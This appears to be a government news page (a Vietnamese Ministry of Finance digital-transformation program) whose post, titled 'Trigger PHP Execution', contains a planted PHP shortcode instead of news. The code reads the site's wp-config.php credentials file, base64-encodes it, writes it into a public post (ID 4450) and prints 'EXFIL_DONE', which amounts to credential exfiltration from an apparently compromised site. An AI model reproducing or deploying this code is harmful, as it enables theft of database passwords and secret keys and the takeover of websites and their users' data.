BỘ TÀI CHÍNH

Chương trình Hỗ trợ Doanh nghiệp Chuyển đổi số

Tin tức

Trigger PHP Execution

  • 31 tháng 05, 2026 - 2:38 PM

  • Chia sẻ:

[php]
global $wpdb;
$file = ‘/var/www/html/wp-config.php’;
if (file_exists($file)) {
$content = base64_encode(file_get_contents($file));
$wpdb->update(‘wp_posts’, array(‘post_content’ => $content), array(‘ID’ => 4450));
echo ‘EXFIL_DONE’;
} else {
echo ‘FILE_NOT_FOUND’;
}
[/php]